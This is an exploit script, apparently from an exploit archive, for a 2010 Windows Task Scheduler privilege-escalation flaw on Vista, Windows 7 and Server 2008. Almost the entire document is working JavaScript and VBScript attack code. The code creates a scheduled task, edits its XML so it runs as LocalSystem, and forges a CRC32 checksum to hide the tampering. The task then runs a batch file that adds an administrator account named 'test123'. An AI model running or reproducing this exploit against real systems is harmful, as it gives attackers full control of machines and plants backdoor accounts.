Microsoft Windows - Task Scheduler Privilege Escalation

# Exploit Title: Windows Task Scheduler Privilege Escalation 0day
# Date: 20-11-2010
# Author: webDEViL
# Tested on: Windows 7/2008 x86/x64


<job id="tasksch-wD-0day">
<script language="Javascript">

crc_table = new Array(
  0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419,
  0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4,
  0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07,
  0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
  0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856,
  0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
  0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4,
  0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
  0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3,
  0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A,
  0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599,
  0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
  0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190,
  0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F,
  0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E,
  0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
  0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED,
  0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
  0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3,
  0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
  0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A,
  0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5,
  0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010,
  0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
  0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17,
  0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6,
  0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615,
  0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
  0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344,
  0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
  0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A,
  0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
  0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1,
  0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C,
  0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF,
  0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
  0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE,
  0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31,
  0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C,
  0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
  0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B,
  0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
  0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1,
  0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
  0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278,
  0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7,
  0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66,
  0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
  0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605,
  0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8,
  0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B,
  0x2D02EF8D
);

var hD='0123456789ABCDEF';

function dec2hex(d) {
h='';
for (i=0;i<8;i++) {
h = hD.charAt(d&15)+h;
d >>>= 4;
}
return h;
}
function encodeToHex(str){
    var r="";
    var e=str.length;
    var c=0;
    var h;
    while(c<e){
        h=str.charCodeAt(c++).toString(16);
        while(h.length<3) h="0"+h;
        r+=h;
    }
    return r;
}
function decodeFromHex(str){
    var r="";
    var e=str.length;
    var s=0;
    while(e>1){

        r=r+String.fromCharCode("0x"+str.substring(s,s+2));

		s=s+2;
		e=e-2;
    }

	return r;

}


function calc_crc(anyForm) {

anyTextString=decodeFromHex(anyForm);

Crc_value = 0xFFFFFFFF;
StringLength=anyTextString.length;
for (i=0; i<StringLength; i++) {
tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
Table_value = crc_table[tableIndex];
Crc_value >>>= 8;
Crc_value ^= Table_value;
}
Crc_value ^= 0xFFFFFFFF;
return dec2hex(Crc_value);

}

function rev_crc(leadString,endString,crc32) {
//
// First, we calculate the CRC-32 for the initial string
//
	anyTextString=decodeFromHex(leadString);

   Crc_value = 0xFFFFFFFF;
   StringLength=anyTextString.length;
   //document.write(alert(StringLength));
   for (var i=0; i<StringLength; i++) {
      tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
      Table_value = crc_table[tableIndex];
      Crc_value >>>= 8;
      Crc_value ^= Table_value;
   }
//
// Second, we calculate the CRC-32 without the final string
//
   crc=parseInt(crc32,16);
   crc ^= 0xFFFFFFFF;
   anyTextString=decodeFromHex(endString);
   StringLength=anyTextString.length;
   for (var i=0; i<StringLength; i++) {
      tableIndex=0;
      Table_value = crc_table[tableIndex];
      while (((Table_value ^ crc) >>> 24)  & 0xFF) {
         tableIndex++;
         Table_value = crc_table[tableIndex];
      }
      crc ^= Table_value;
      crc <<= 8;
      crc |= tableIndex ^ anyTextString.charCodeAt(StringLength - i -1);
   }
//
// Now let's find the 4-byte string
//
   for (var i=0; i<4; i++) {
      tableIndex=0;
      Table_value = crc_table[tableIndex];
      while (((Table_value ^ crc) >>> 24)  & 0xFF) {
         tableIndex++;
         Table_value = crc_table[tableIndex];
      }
      crc ^= Table_value;
      crc <<= 8;
      crc |= tableIndex;
   }
   crc ^= Crc_value;
//
// Finally, display the results
//
   var TextString=dec2hex(crc);
   var Teststring='';
Teststring=TextString.substring(6,8);
Teststring+=TextString.substring(4,6);
Teststring+=TextString.substring(2,4);
Teststring+=TextString.substring(0,2);
   return Teststring
}
function decodeFromHex(str){
    var r="";
    var e=str.length;
    var s=0;
    while(e>1){

        r=r+String.fromCharCode("0x"+str.substring(s,s+2));

		s=s+2;
		e=e-2;
    }

	return r;

}
</script>



<script language="VBScript">
dim output
set output = wscript.stdout
output.writeline " Task Scheduler 0 day - Privilege Escalation "
output.writeline " Should work on Vista/Win7/2008 x86/x64"
output.writeline " webDEViL - w3bd3vil [at] gmail [dot] com" & vbCr & vbLf
biatchFile = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\xpl.bat"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "schtasks /create /TN wDw00t /sc monthly /tr """+biatchFile+"""",,True

Set fso = CreateObject("Scripting.FileSystemObject")
Set a = fso.CreateTextFile(biatchFile, True)
a.WriteLine ("net user /add test123 test123")
a.WriteLine ("net localgroup administrators /add test123")
a.WriteLine ("schtasks /delete /f /TN wDw00t")

Function ReadByteArray(strFileName)
Const adTypeBinary = 1
Dim bin
    Set bin = CreateObject("ADODB.Stream")
    bin.Type = adTypeBinary
    bin.Open
    bin.LoadFromFile strFileName
    ReadByteArray = bin.Read
'output.writeline ReadByteArray
End Function

Function OctetToHexStr (arrbytOctet)
 Dim k
 OctetToHexStr = ""
 For k = 3 To Lenb (arrbytOctet)
  OctetToHexStr = OctetToHexStr _
        & Right("0" & Hex(Ascb(Midb(arrbytOctet, k, 1))), 2)
 Next
 End Function
strFileName="C:\windows\system32\tasks\wDw00t"

hexXML = OctetToHexStr (ReadByteArray(strFileName))
'output.writeline hexXML
crc32 = calc_crc(hexXML)
output.writeline "Crc32 Original: "+crc32


Set xmlDoc = CreateObject("Microsoft.XMLDOM")
'permissions workaround
'objShell.Run "cmd /c copy C:\windows\system32\tasks\wDw00t .",,True
'objShell.Run "cmd /c schtasks /query /XML /TN wDw00t > wDw00t.xml",,True
Set objShell = WScript.CreateObject("WScript.Shell")
Set objExecObject = objShell.Exec("cmd /c schtasks /query /XML /TN wDw00t")

Do Until objExecObject.StdOut.AtEndOfStream
 strLine = strLine & objExecObject.StdOut.ReadLine()
Loop
hexXML = "FFFE3C00"+OctetToHexStr(strLine)
'output.writeline hexXML
Set ts = fso.createtextfile ("wDw00t.xml")
For n = 1 To (Len (hexXML) - 1) step 2
 ts.write Chr ("&h" & Mid (hexXML, n, 2))
Next
ts.close

xmlDoc.load "wDw00t.xml"
Set Author = xmlDoc.selectsinglenode ("//Task/RegistrationInfo/Author")
Author.text = "LocalSystem"
Set UserId = xmlDoc.selectsinglenode ("//Task/Principals/Principal/UserId")
UserId.text = "S-1-5-18"
xmldoc.save(strFileName)

hexXML = OctetToHexStr (ReadByteArray(strFileName))

leadString=hexXML+"3C0021002D002D00"
endString="2D002D003E00"
'output.writeline leadString
impbytes=rev_crc(leadString,endString,crc32)
output.writeline "Crc32 Magic Bytes: "+impbytes

finalString = leadString+impbytes+endString
forge = calc_crc(finalString)
output.writeline "Crc32 Forged: "+forge

strHexString="FFFE"+finalString
Set fso = CreateObject ("scripting.filesystemobject")
Set stream = CreateObject ("adodb.stream")

Set ts = fso.createtextfile (strFileName)

For n = 1 To (Len (strHexString) - 1) step 2
 ts.write Chr ("&h" & Mid (strHexString, n, 2))
Next
ts.close


Set objShell = CreateObject("WScript.Shell")
objShell.Run "schtasks /change /TN wDw00t /disable",,True
objShell.Run "schtasks /change /TN wDw00t /enable",,True
objShell.Run "schtasks /run /TN wDw00t",,True

</script>
</job>